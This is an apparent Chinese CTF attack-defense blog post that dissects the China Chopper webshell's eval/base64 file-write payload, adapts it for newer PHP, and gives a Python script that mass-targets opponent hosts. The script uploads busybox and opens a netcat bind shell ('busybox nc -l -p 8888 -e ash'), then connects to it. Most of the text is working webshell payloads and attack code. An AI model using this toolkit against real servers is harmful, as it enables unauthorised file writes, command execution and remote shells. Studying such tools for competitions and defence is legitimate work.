ctf之AWD(3)_重寫菜刀
原理
多次post
cmd=@eval(base64_decode($_POST[z0]));
#cmd爲原密碼,z0爲新密碼
wireshark抓包分析
菜刀2011
post數據分析
&cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
&z1=QzpcXFVzZXJzXFxhZG1pbjFcXERlc2t0b3BcXHBocHNcXFdXV1xcdGVzdC50eHQ%3D&z2=61733132333435360D0A6173313233343536
對cmd= z0= z1=
url和base64解碼
cmd=@eval(base64_decode($_POST[z0]));
z0=
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();
z1=C:\\Users\\admin1\\Desktop\\phps\\WWW\\test.txt
z2內容:
as123456
as123456
z0 簡化
@ini_set("display_errors","0");
@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
即 z0 -> php寫文件
z1 -> 遠程文件名
z2 - > 本地文件內容
0x61 = 97
chr(97) = 'a'
解決菜刀2011在ubuntu上不可用
查看/var/log/apache2/error.log
,發現是 @set_magic_quotes_runtime(0);
出錯,這個只在php < 5.3
時有效
重新寫php字符串
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();
細節要點
-
@eval
後要加控制符SOH
即0x01
-
由於標準的Base64編碼後可能出現字符
+
和/
,在URL中就不能直接作爲參數,所以又有一種"url safe"的base64編碼,其實就是把字符+和/分別變成-
和_
,notepad++省略==
,base64.urlsafe_b64decode(base64_url)
-
z2 - > 文件內容
,文件內容
要將字母轉成大寫
,並按字節對齊
,python3
讀取二進制
文件要將0x
去掉
from attack_tool import convertToHex
#convertToHex 讀取二進制文件並轉成字符串
0x10之前的ascii去掉`0x`後要按字節對齊,在字母前面添加'0'
eg: ord('\n') = 10 hex(10) = '0xa' 對齊後: '0A'
convertToHex
在下一篇寫(ctf之AWD(4)_重寫菜刀)
- https://blog.csdn.net/qq_38232378/article/details/100903206
python3源碼
#attack_utils.py
#coding:utf-8
import requests
import queue
from urllib.parse import unquote,quote
from attack_tool import convertToHex
import os
import subprocess
import sys
import time
import re
# print('\033[1;32;40m綠色,黑色背景 \033[0m顏色不顯示')
# print('\033[1;31;40m紅色,黑色背景 \033[0m顏色不顯示')
HEADERS = {'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'}
POST_FLAG_HEADERS = {'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'}
URI = '/.index.php'
POST_FLAG_URL = "http://192.168.100.1/"
PORTS = ['80', '81', '82']
COLOR_GREEN = '\033[1;32;40m'
COLOR_RED = '\033[1;31;40m'
COLOR_NONE = '\033[0m'
#raw_data = 'system("curl http://192.168.100.1/Getkey");'
#RAW_CMD = 'system("curl ip.sb");' #ip.gs
RAW_CMD = 'system("ls /tmp;file /tmp/busybox");'
RAW_NC = 'system("chmod 777 /tmp/busybox;/tmp/busybox nc -l -p 8888 -e /tmp/busybox ash");'
PASSWORD = '1234'
PASSWORD_DATA_CMD = 'pass=' + PASSWORD + '&a=' + quote(RAW_CMD)
PASSWORD_DATA_UPLOAD = 'pass=' + PASSWORD + '&a='
PASSWORD_DATA_NC = 'pass=' + PASSWORD + '&a=' + quote(RAW_NC)
PHP_CODE = '%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B'
LFILE_BUSYBOX = 'd:/busybox.txt' #'ZDovYnVzeWJveC50eHQ'
RFILE_BUSYBOX = 'L3RtcC9idXN5Ym94' #/tmp/busybox
# z0 = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D'
z0 = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiLT58Iik7OyRmPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKTskYz0kX1BPU1RbInoyIl07JGM9c3RyX3JlcGxhY2UoIlxyIiwiIiwkYyk7JGM9c3RyX3JlcGxhY2UoIlxuIiwiIiwkYyk7JGJ1Zj0iIjtmb3IoJGk9MDskaTxzdHJsZW4oJGMpOyRpKz0yKSRidWYuPXVybGRlY29kZSgiJSIuc3Vic3RyKCRjLCRpLDIpKTtlY2hvKEBmd3JpdGUoZm9wZW4oJGYsInciKSwkYnVmKT8iMSI6IjAiKTs7ZWNobygifDwtIik7ZGllKCk7%3D%3D'
z0_str_2011 = '''@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();'''
'''
#@eval(base64_decode($_POST[z0]));&z0=z0_str_2011
z1:rfile
z2:lfile
z0_str -> base64 -> urlencode : '+' -> %2B quote('+'),末尾加%3D%3D 即== quote('=')
'''
def url_queue(uri, p1, p2, i1, i2):
my_url_queue = queue.Queue()
for j in range(int(p1), int(p2)):
for i in range(int(i1), int(i2)):
full_url = "http://4.4." + str(i) + ".101" + ":%s" % PORTS[j] + str(uri)
my_url_queue.put(full_url)
# local_url = "http://192.168.232.141" + ":%s" % PORTS[j] + uri
# local_url = "http://192.168.232.129" + ":%s" % PORTS[j] + uri
# my_url_queue.put(local_url)
#print(full_url)
return my_url_queue
def check_shell(uri, p1, p2, i1, i2):
tmp_queue = url_queue(uri, p1, p2, i1, i2)
while tmp_queue.qsize() > 0:
try:
url = tmp_queue.get_nowait()
req_get = requests.get(url=url, headers=HEADERS)
#req_get = requests.get(url=url, headers=HEADERS, timeout=1)
if req_get.status_code == 200:
print(COLOR_GREEN + '[+]: ' + url)
else:
print(COLOR_RED + '[-]: ' + '請求失敗')
except Exception as e:
print(COLOR_RED + '[-]: ' + str(e))
pass
def get_flag(uri, p1, p2, i1, i2, password):
tmp_queue = url_queue(uri, p1, p2, i1, i2)
while tmp_queue.qsize() > 0:
try:
url = tmp_queue.get_nowait()
req_post = requests.post(url=url, data=password, headers=HEADERS)
#req_post = requests.post(url=url, data=password, headers=HEADERS, timeout=1)
if req_post.status_code == 200:
print(COLOR_GREEN + '[+flag]: ' + req_post.text.strip() + ' : ' + url)
else:
print(COLOR_RED + '[-]: ' + '請求失敗')
except Exception as e:
print(COLOR_RED + '[-]: ' + str(e))
pass
def post_flag():
while True:
flag = input('input flag:')
data = quote(flag.strip())
if flag == 'q':
break
else :
try:
req = requests.post(url=POST_FLAG_URL, data=flag, headers=POST_FLAG_HEADERS)
if req.status_code == 200:
print(COLOR_GREEN + '[+]: ' + "提交成功")
#print(req.text)
else:
print(COLOR_RED + '[-]: ' + "提交失敗")
except Exception as e:
print(COLOR_RED + '[-]: ' + str(e))
pass
def upload_file(uri, p1, p2, i1, i2, lfile, rfile):
z1 = rfile
try:
f = open(lfile,'r')
z2 = f.read()
f.close()
#z2 = convertToHex(lfile)
except Exception as e:
print(COLOR_RED + '[-]: ' + '文件打開失敗' + str(e))
pass
data = PASSWORD_DATA_UPLOAD + PHP_CODE + '&z0=' + z0 + '&z1=' + z1 + '&z2=' + z2
tmp_queue = url_queue(uri, p1, p2, i1, i2)
while tmp_queue.qsize() > 0:
try:
url = tmp_queue.get_nowait()
req = requests.post(url=url, data=data, headers=HEADERS)
#req = requests.post(url=url, data=data, headers=HEADERS, timeout=1)
if req.status_code == 200:
print(COLOR_GREEN + '[+]: ' + '上傳成功')
else:
print(COLOR_RED + '[-]: ' + '上傳失敗')
except Exception as e:
print(COLOR_RED + '[-]: ' + str(e))
pass
def connect_nc_shell(host, port):
try:
cmd_str = "nc %s %s" % (str(host), str(port))
proc = subprocess.Popen(cmd_str, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
proc.stdout.flush()
proc.stdin.flush()
line = input()
line_byte = bytes(line, encoding='utf-8')
while line != 'q':
proc.stdin.write(line_byte + b'\n')
proc.stdin.flush()
output = proc.stdout.readline()
output_str = str(output.decode('utf-8'))
sys.stdout.write(output_str)
sys.stdout.flush()
line = input()
line_byte = bytes(line, encoding='utf-8')
except Exception as e:
print(COLOR_RED + '[-]:' + str(e))
pass
def get_nc_shell(uri, p1, p2, i1, i2, lfile, rfile):
start = time.time()
tmp_queue = url_queue(uri, p1, p2, i1, i2)
z1 = rfile
try:
f = open(lfile, 'r')
z2 = f.read()
f.close()
# z2 = convertToHex(lfile)
except Exception as e:
print(COLOR_RED + '[-]: ' + '文件打開失敗' + str(e))
pass
data = PASSWORD_DATA_UPLOAD + PHP_CODE + '&z0=' + z0 + '&z1=' + z1 + '&z2=' + z2
while tmp_queue.qsize() > 0:
try:
url = tmp_queue.get_nowait()
ips = re.findall(r'\d+.\d+.\d+.\d+', url)
# req_post = requests.post(url=url, data=password, headers=HEADERS, timeout=1)
req_1 = requests.post(url=url, data=PASSWORD_DATA_CMD, headers=HEADERS)
if req_1.status_code == 200:
print(COLOR_GREEN + '[+flag]: ' + req_1.text.strip() + ' : ' + url)
else:
print(COLOR_RED + '[-]: ' + '獲取flag失敗')
req_2 = requests.post(url=url, data=data, headers=HEADERS)
if req_2.status_code == 200:
print(COLOR_GREEN + '[+]: ' + '上傳成功')
else:
print(COLOR_RED + '[-]: ' + '上傳失敗')
try:
vbs_name = ips[0] + '.vbs'
vbs_file = open('d:/' + vbs_name, 'w')
vbs_file.write('Set ws=CreateObject("Wscript.Shell")' + '\n')
cmd_str = "cmd /c nc %s 8888" % ips[0]
vbs_file.write('ws.run ' + '"' + cmd_str + '"')
vbs_file.close()
except Exception as e:
print(COLOR_RED + '[-]:' + '寫入vbs失敗' + str(e))
pass
end = time.time()
total = end - start
print(COLOR_GREEN + '[+]: ' + '消耗 %ss' % str(total))
req_3 = requests.post(url=url, data=PASSWORD_DATA_NC, headers=HEADERS)
if req_3.status_code == 200:
print(COLOR_GREEN + '[$$$]: nc '+ ips[0] + ' 8888')
else:
print(COLOR_RED + '[-]: ' + 'nc 請求失敗')
except Exception as e:
print(COLOR_RED + '[-]: ' + str(e))
pass
def get_password(file_pass):
password = []
f = open('d:/pass100.txt', 'r')
for i in f.readlines():
password.append(i.strip())
f.close()
if __name__ == '__main__':
pass